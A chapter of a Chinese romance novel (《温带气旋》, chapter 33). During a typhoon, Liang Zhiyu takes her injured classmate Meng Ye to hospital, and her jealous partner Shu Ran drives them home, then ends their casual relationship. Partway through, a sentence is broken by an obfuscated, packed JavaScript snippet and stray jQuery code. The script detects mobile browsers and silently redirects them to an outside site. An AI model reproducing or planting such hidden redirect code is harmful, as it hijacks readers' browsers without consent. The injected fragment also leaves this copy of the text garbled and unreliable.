33. 33 结束
作品:《温带气旋》 “都包扎好了?”
梁知予看见孟晔从诊室里出来,连忙起身上前关切。
孟晔温和道:“没什么大事,就是擦伤。”
他小臂缠着厚厚的纱布,手指上也有几道血痕,已涂上了药水,哪怕此时也不忘自嘲:“是我运气不好,来松川正赶上台风天,还连累你陪我来医院。”
梁知予摇头说:“怪我太心急了。明明事情还没有什么眉目,不该这么早和你说的。”
就在几天之前,她在另座城市参加媒体行业的代表大会,巧遇了大学同专业的同学。两人聊起往事,不知怎么就讲起了那位姓庄的学姐,原来当年之事,在京州大学的同学圈里亦有流传。
同学在一家晚报任职,当时也有涉足该选题的想法,甚至已开始着手调查当事人背景资料。但她的嗅觉显然更加敏锐,在察觉到那位许老板背后并不简单的时候,便识趣地停了手。
说者无意,听者有心。
活动行程的最后一天,梁知予费尽心思,从同学那里拿到了一份简短的资料。上面记录的正是三年多以前,那桩讨薪案主要当事人的情况。
名单上绝大多数的人,现如今已经离开了松川;尚未搬离的,除了两年前离世的一位,便只剩下两人,一个叫陈鹏,一个叫罗兴,恰好是两户相邻而居的熟人。
梁知予按捺不住,连忙把消息分享给孟晔,未曾想到他的行动力如此之强,连夜坐飞机赶来,更未料到天意弄人,台风“瓦娜”直扑松川。
他们二人住在老城区积水最严重的区域,梁知予和孟晔趁着中午雨小那会儿,在他们的住所附近转悠,原本预备来个出其不意的临时采访,谁知途中遇上的卷土重来的倾盆暴雨,两人被困许久,孟晔还不慎摔伤,直到半小时前,才坐上了救援队的冲锋舟。
孟晔苦笑:“伤也就伤了,这趟没见着人,实在可惜。”
梁知予正想出言安慰,忽听耳畔一把冷冰冰的男声:“孟先生,既然受了伤,就应该好好休息,何必还留在这里强人所难?”
她错愕地望向声音来源。
只见舒橪沉着一张脸,现在几步之外的地方,定定看着他们。
他的衣服湿漉漉地贴在身上,隐约透出胸前起伏的肌肉,几绺被水打湿的头发垂在额前,显得眼神格外晦暗。
滂沱雨意,让急诊大厅里蓄着一股挥之不去的潮气,可他却像一座醒转的休眠火山,岿然不动的时候,也让人嗅到尘与火的气息。
孟晔没和舒橪打过照面,不过听称呼,便知道他是对着自己说话,自然也未曾忽略话里不善的语气。
“你认识我?”他不动声色。
舒橪皮笑肉不笑:“久闻大名。你是知予的同学,不对么?”
孟晔明白过来,并未回答他,转而温声问梁知予:“他是你朋友?”
梁知予被夹在中间,进退维谷。
“……是我朋友。”
她别无选择地承认,做了个简短介绍:“孟晔,他叫舒橪,是我的高中同学。”
孟晔有几分了然,主动走上前,伸出那只没受伤的手:“你好,正式认识一下,我叫孟晔,是知予的大学学长,在京州工作。”
舒橪伸手,和他不轻不重地握了握。
“你好。”他语调寡淡,“京州到松川千里迢迢,孟学长兴致真好,专挑着台风天来。”
孟晔微笑回敬:“你不是一样吗,冒着大雨也要过来找她。”
舒橪冷冷道:“当然不一样。我爸晕倒在医院里,我是来看他的。”
相对平和的表象下,是彼此心知肚明的暗流涌动。
梁知予闻言,诧异地问道:“叔叔晕倒了?怎么回事?”
舒橪解释了两句,说是工作劳累所致,暂时没大碍。
门口突然接连推进来几个伤患,医护火急火燎地推着病床往手术室里赶,似乎是触电伤,情况十分危急。
大厅里本就人头攒动,听见迭声疾呼的“让路”,纷纷侧身闪避,自动腾出一条可供通行的过道。
混乱之中,梁知予被别人绊了个踉跄,差点摔倒,孟晔扶她了一把,低声说:“小心。”
他用的还是伤手,梁知予顿时愧疚起来,连忙道歉:“不好意思,没扯到你伤口吧?”
舒橪被人群推搡到另一侧,眼神下意识地寻找梁知予,抬眼望见的,却是她关注孟晔伤势的情形。
急诊大厅的灯光雪白,几乎到了刺眼的地步。他收回视线,静静等待这一波的奔忙过去,漫长得如同半个世纪。
“如果你现在要回去,我可以送一程。”
良久,舒橪才启声对梁知予说,同时淡漠瞥了眼孟晔,“你也是。”
梁知予怎会不知尴尬,正想要婉拒,又听舒橪道:“别想着打车。这种时候,加价一千都未必叫得到。”
她仍有些犹豫,孟晔倒坦然,神色自若地应下来:“那就麻烦你了。车费我会照付的。”
舒橪冷冰冰地拒绝:“不用。我还不缺那几十块钱。”
外头的雨势稍有收减之意,风也静了不少。车里空调温度开得低,梁知予忍不住伸手调高几度,对舒橪说:“你身上还湿着,别吹这么冷的风。”
她仍坐副驾,孟晔在后排,舒橪目不斜视地开车,一边对她说:“你面前的储物格里有干毛巾,帮我拿一条。”
梁知予翻找出来,递给他。
路口等红灯,他停下来擦头发,动作潦草,也不知道擦干几成,就把毛巾丢还给梁知予,随口道:“好了。收起来吧。”
不远处,路政冒雨进行排水作业。不少路段积水太深,已经无法通行,舒橪绕了好几圈,才开到孟晔落脚的酒店,让他下车。
“谢谢你了。”孟晔解开安全带,不失风度地道谢,“下次有机会来京州,我请你吃饭。”
舒橪懒得分辨是客套话还是真心话,手肘搭着车窗沿,呼吸一起一伏,“顺路而已,不用放在心上。”
顺不顺路,彼此心下皆了然。不过看破不说破,留两分尽在不言中的周全和体面。
送完孟晔,下一站是梁谨家。
刚才在急诊大厅里,梁知予终于腾出时间看手机,见到一连串的未接来电和消息,立即给梁谨回电报了平安,不出意外地被批评教育了一顿。
梁谨知道她租住地方的街道被淹,便让她直接回家,等水退了再过去。又说舒橪起先有急事找她,既然现在不忙,得赶紧给人家回电话。
梁知予在电话里应着,放下手机,心却陷在踌躇里。腹稿尚未拟就,这
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16140513|176067||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
通回电怎么也拨不下去,可偏偏担心什么来什么,最猝不及防的时候,她毫无准备地,撞进了舒橪的视线。
“……我不是故意不接你电话的。”
沉默到了忍无可忍的时候,梁知予终于开口。
舒橪目视前方,缓慢通过涉水路段,风轻云淡地反问:“那是为什么?”
梁知予轻轻叹气。
真要解释起来,岂是一两句话就能说清楚的。
“说来话长……”
“没关系,慢慢说。”舒橪开上高架,车速渐渐提起来,“油箱够满,我可以陪着你一圈一圈地绕,直到你说完。”
“我们有的是时间。”
梁知予再迟钝也听出不对劲了:“舒橪,你别开玩笑。”
“我没开玩笑。”
她呼吸急促,“我承认,今天是我疏忽了,让你担心这么久,我也很抱歉。可今天这事,并不仅是为了我自己,还是为了……”
“为了他,对吗?”
舒橪眉间隐忍着戾气,下颌线紧绷,“为了他,你可以在这种天气里,冒着大风大雨的危险出门来医院。我没说错吧?”
梁知予难以置信自己的耳朵,怔怔道:“你在说什么疯话……”
路上几乎没别的车,雨水划过车玻璃,拖出一道道蜿蜒锋利的足迹。
舒橪踩了一记刹车,停在路边。
“对,我也觉得我疯了——从今天下午踏出家门找你的那一刻起。”
他的目光仿佛淬过火,灼热得几乎能把人烫伤。
“我站在你家楼下,给你疯狂打电话的时候,满脑子都是你可能被困在怎样的险境里,我要怎么去救你出来。而你呢?为了一个孟晔,你连自己的安全都不顾了!”
“你知道我有多难堪吗梁知予。就算我只是你上不得台面的炮|友,不想你在我们关系存续期间去招惹别人,难道是什么很过分的要求么?”
诘问一字一字地砸过来,砸得梁知予发懵。
她从没有见过舒橪这副样子,隐隐感觉不安,可那种质问的语气更早激起她争辩的本能:“你在怀疑什么?我和孟晔是同学,仅此而已,今天我之所以冒雨出去,是因为他有事需要帮忙,你不必想得那么肮脏。”
“肮脏?”舒橪冷笑,“对,我思想龌龊得不得了,哪里比得上你那个老同学斯文高贵,难怪你更喜欢和他来往。”
梁知予简直莫名其妙:“你有没有搞错?我已经说过了,他有件很重要的事找我帮忙,就这么简单,你有必要借题发挥吗?”
她最痛恨在人际关系方面被冤枉,更气愤这种冤枉竟然来自于舒橪,抱着胳膊别过头去,不想再和他多说。
舒橪的脸色难看到极点,额头青筋一跳一跳,恨不得此刻就下车,再痛快淋一场雨。
名不正,言不顺,连情绪的宣泄都成了一个笑话。
车开到梁谨家楼下时,雨势已转为中雨,相比下午的疾风骤雨,竟也能算得上是风平浪静了。
梁知予沉默着解安全带,拿了伞就要下车。
舒橪坐在驾驶位上,一动不动,直到车门解锁打开,忽然出声。
“梁知予,”他微阖眼睛,仿佛历经了高度紧张后的神思倦怠,“我们的关系,到此结束吧。”

